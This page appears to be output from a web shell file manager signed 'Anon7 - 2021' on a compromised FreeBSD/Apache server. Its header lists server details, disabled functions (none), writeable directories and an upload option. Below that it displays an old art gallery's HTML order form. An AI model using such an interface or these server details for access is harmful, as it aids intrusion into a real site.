KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/janbrew1/univ_nav/univ_nav/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/janbrew1/univ_nav/univ_nav/orderform.htm
<!--To put this html into an existing HTML document, you must copy the JavaScript and-->
<!--paste it in a specific location within the destination HTML document. You must then copy-->
<!--and paste the table in a different location.-->

<html>

<!-- Mirrored from www.living-artists.com by HTTrack Website Copier/3.x [XR&CO'2001] -->
<head>
<title>Living Artists Gallery</title>
<meta name="description" content="Featuring the finest original art and Giclee Limited Edition Prints from traditional New England Artists.">
<meta name="keywords" content="Living Artists Gallery, living artists gallery, original work, limited edition prints, fine art, galleries, living artists, fine art gallery, oil paintings, watercolors, impressionist paintings, traditional paintings, Jonathan Hotz, Bryan Davagian, E. Principato, Bob Aiello, art prints, artists, fine art, photography, giclee prints, marine paintings, Worcester art, Worcester scenes, Massachusetts, New England, Massachusetts">

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<!-- Fireworks 3.0  Dreamweaver 3.0 target.  Created Thu Jun 22 15:06:26 GMT-0400 (Eastern Daylight Time) 2000 --> 
<link rel="stylesheet" href="../Templates/livingartist.css">
<style type="text/css">
<!--
.defaultredlarge { font-family: "Times New Roman", Times, serif; font-size: 16pt; text-decoration: none; color: #cc0000 }
.defaultredsmall { font-family: "Times New Roman", Times, serif; font-size: 16pt; text-decoration: none; color: #cc0000 }
-->
</style>
</head>
<body bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#DCA700" vlink="#0000FF">
<!--The following section is an HTML table which reassembles the sliced image in a browser.--> 
<!--Copy the table section including the opening and closing table tags, and paste the data where--> 
<!--you want the reassembled image to appear in the destination document. --> 
<!-------------------------- BEGIN COPYING THE HTML HERE ----------------------------> 
<!-- Image with table --> 
<table width="700" border="0" cellpadding="0" cellspacing="0" align="center">
  <tr> 
    <td> 
      <table width="700" border="0" cellpadding="0" cellspacing="0" align="center" bgcolor="#FFFFFF">
        <tr valign="middle" align="center"> 
          <td height="25" nowrap width="75"><b></b></td>
          <td height="25" nowrap><a href="../index.htm"><b><font class="nav">Home 
            Page</font></b></a></td>
          <td height="25" nowrap><img src="../resources/star_gold.gif" width="20" height="14"></td>
          <td height="25" nowrap><a href="hours.htm"><b><font class="nav">Hours 
            </font></b></a></td>
          <td height="25" nowrap><img src="../resources/star_gold.gif" width="20" height="14"></td>
          <td height="25" nowrap><a href="terms.htm"><b><font class="nav">Artwork 
            Terms</font></b></a></td>
          <td height="25" nowrap><img src="../resources/star_gold.gif" width="20" height="14"></td>
          <td height="25" nowrap><a href="contact.htm"><b><font class="nav">Contact 
            Us</font></b></a></td>
          <td height="25" nowrap><img src="../resources/star_gold.gif" width="20" height="14"></td>
          <td height="25" nowrap><a href="ordering.htm"><b><font class="nav">How 
            to Order </font></b></a></td>
          <td height="25" nowrap width="75">&nbsp;</td>
        </tr>
      </table>
    </td>
  </tr>
 </table>

  
<table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="700" align="center">
  <!-- fwtable fwsrc="contact_us.png" fwbase="contact_us.gif" --> 
  <form method="post" action="http://www.living-artists.com/univ_nav/formmail.pl">
    <input type=hidden name="recipient" value="[email protected]">
    <input type=hidden name="subject" value="information request">
    <input type=hidden name="redirect" value="thankyou.htm">
    <input type=hidden name="required" value="name,address,address2,phone,email,order">
    <input type=hidden name="print_config" value="name,company,address,address2,phone,email,personal,retail,wholesale#,updates,freegift,order,byphone,byemail">
    <tr> <!-- Shim row, height 1. --> 
      <td><img src="resources/shim.gif" width="280" height="1" border="0"></td>
      <td><img src="resources/shim.gif" width="420" height="1" border="0"></td>
      <td><img src="resources/shim.gif" width="1" height="1" border="0"></td>
    </tr>
    <tr valign="top"><!-- row 1 --> 
      <td colspan="2"><img name="contact_us_top" src="resources/order_top.jpg" width="700" height="137" border="0"></td>
      <td><img src="resources/shim.gif" width="1" height="137" border="0"></td>
    </tr>
    <tr valign="top"><!-- row 2 --> 
      <td> 
        <div align="right" class="defaultsmall"></div>
      </td>
      <td class="default">* (Required Field)</td>
      <td rowspan="21"><img src="resources/shim.gif" width="1" height="65" border="0"></td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right"><font color="#cc0000"><span class="defaultredlarge">Your 
          Name</span>&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="name" size="45" maxlength="50">
        * </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultsmall"> 
        <div align="right"><font color="#cc0000">Company&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="company" size="45" maxlength="50">
      </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultsmall"> 
        <div align="right"><font color="#cc0000">Address&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="address" size="45" maxlength="50">
        * </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultsmall"> 
        <div align="right"><font color="#cc0000">City, State, Zip&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="address2" size="45" maxlength="50">
        * </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultsmall"> 
        <div align="right"><font color="#cc0000">Phone/Fax&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="phone" size="45" maxlength="50">
        * </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultsmall"> 
        <div align="right"><font color="#cc0000">Email&nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="email" size="45" maxlength="50">
        * </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultredlarge" colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top"> 
      <td class="defaultredlarge"> 
        <div align="right"><font color="#cc0000">Your Interest&nbsp; <br>
          <span class="defaultsmall">In Our Artwork&nbsp; </span></font></div>
      </td>
      <td> 
        <p> 
          <input type="checkbox" name="personal" value="yes">
          <span class="default"> For a personal purchase<br>
          <input type="checkbox" name="retail" value="yes">
          For a retail store or gallery<br>
          <font color="#cc0000"><span class="defaultredlarge">&nbsp;</span></font> 
          </span></p>
      </td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right"><font color="#cc0000"><span class="defaultredlarge">Dealers</span>&nbsp; 
          <br>
          <span class="defaultsmall">Wholesale#</span> &nbsp; </font></div>
      </td>
      <td> 
        <input type="text" name="wholesale#" size="45" maxlength="50">
      </td>
    </tr>
    <tr valign="top"> 
      <td class="defaultredlarge" colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right" class="defaultredlarge"><font color="#cc0000">Updates&nbsp; 
          </font></div>
      </td>
      <td class="default">Would you like to receive updates<br>
        announcing new shows and new images?<br>
        <input type="radio" name="updates" value="yes" checked>
        Yes 
        <input type="radio" name="updates" value="no">
        No <br>
        <font color="#cc0000"><span class="defaultredlarge">&nbsp;</span></font> 
      </td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right"> 
          <p><font color="#cc0000"><span class="defaultredlarge">FREE GIFT!&nbsp; 
            </span><br>
            <span class="defaultsmall">Mini-Print For</span></font><span class="defaultsmall"><font color="#cc0000">&nbsp; 
            <br>
            First Time Visitors&nbsp; </font></span></p>
        </div>
      </td>
      <td class="default"> Artist and Title:<br>
        <input type="text" name="freegift" size="45" maxlength="75">
      </td>
    </tr>
    <tr valign="top"> 
      <td colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right" class="defaultredlarge"> <font color="#cc0000">Your 
          Order&nbsp; </font> 
          <table width="100" border="0" cellpadding="0" cellspacing="0">
            <tr> 
              <td><font color="#cc0000"><span class="defaultsmall"><span class="defaultsmall">Please 
                List:<br>
                1) Artist<br>
                2) Title<br>
                3) Size<br>
                For each Item</span></span><span class="defaultsmall"></span></font></td>
            </tr>
          </table>
          <p><font color="#cc0000"><span class="defaultsmall"><br>
            </span></font><font color="#cc0000"><span class="defaultsmall">:</span></font></p>
        </div>
      </td>
      <td> 
        <textarea name="order" cols="45" rows="15"></textarea>
        * </td>
    </tr>
    <tr valign="top"> 
      <td colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top">
      <td> 
        <div align="right" class="defaultredlarge"><font color="#cc0000">Custom 
          Framing &nbsp;</font></div>
      </td>
      <td class="default">
        <input type="radio" name="framed" value="yes" checked>
        Framed Print 
        <input type="radio" name="unframed" value="no">
        Unframed Print</td>
    </tr>
    <tr valign="top"> 
      <td colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right" class="defaultredlarge"><font color="#cc0000">Contacting 
          You&nbsp; </font></div>
      </td>
      <td class="default">How should we contact you regarding your order?<br>
        <input type="checkbox" name="byphone" value="yes" checked>
        <span class="default"> By Phone 
        <input type="checkbox" name="byemail" value="yes" checked>
        By Email</span></td>
    </tr>
    <tr valign="top"> 
      <td colspan="2">&nbsp;</td>
    </tr>
    <tr valign="top"> 
      <td> 
        <div align="right"><font color="#cc0000" class="defaultredlarge">Terms&nbsp; 
          </font></div>
      </td>
      <td> 
        <p><span class="default">When your order is received, we will contact 
          you for confirmation and to provide the total cost of your order.<br>
          <br>
          For C.O.D. we only accept Cashiers Checks or Money Orders<br>
          <br>
          Wholesale prices are contingent on receiving a valid resale/wholesale 
          card number.<br>
          <br>
          All art works are subject to availability and prices may change at any 
          time.<br>
          <br>
          We accept Check, Mastercard and Visa.</span><br>
          <br>
          <input type="submit" name="Submit" value="Submit">
          <input type="reset" name="Submit2" value="Reset">
        </p>
      </td>
    </tr>
    <!--   This table was automatically created with Macromedia Fireworks 3.0   --> 
    <!--   http://www.macromedia.com   --> 
  </form>
</table>

<table width="700" border="0" cellpadding="0" cellspacing="0" align="center">
  <tr> 
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td> 
      <div align="center"><b class="default">www.living-artists.com</b> 
        <hr size="1" width="700">
        <img src="../resources/logo_bt.gif" width="450" height="36"><br>
        <br>
        <b class="defaultsmall">All works copyright &copy; 2000 by the individual 
        artists and Living-Artists.com</b> </div>
    </td>
  </tr>
</table>
<!--------------------------- STOP COPYING THE HTML HERE --------------------------->

</body>


<!-- Mirrored from www.living-artists.com by HTTrack Website Copier/3.x [XR&CO'2001] -->
</html>


Anon7 - 2021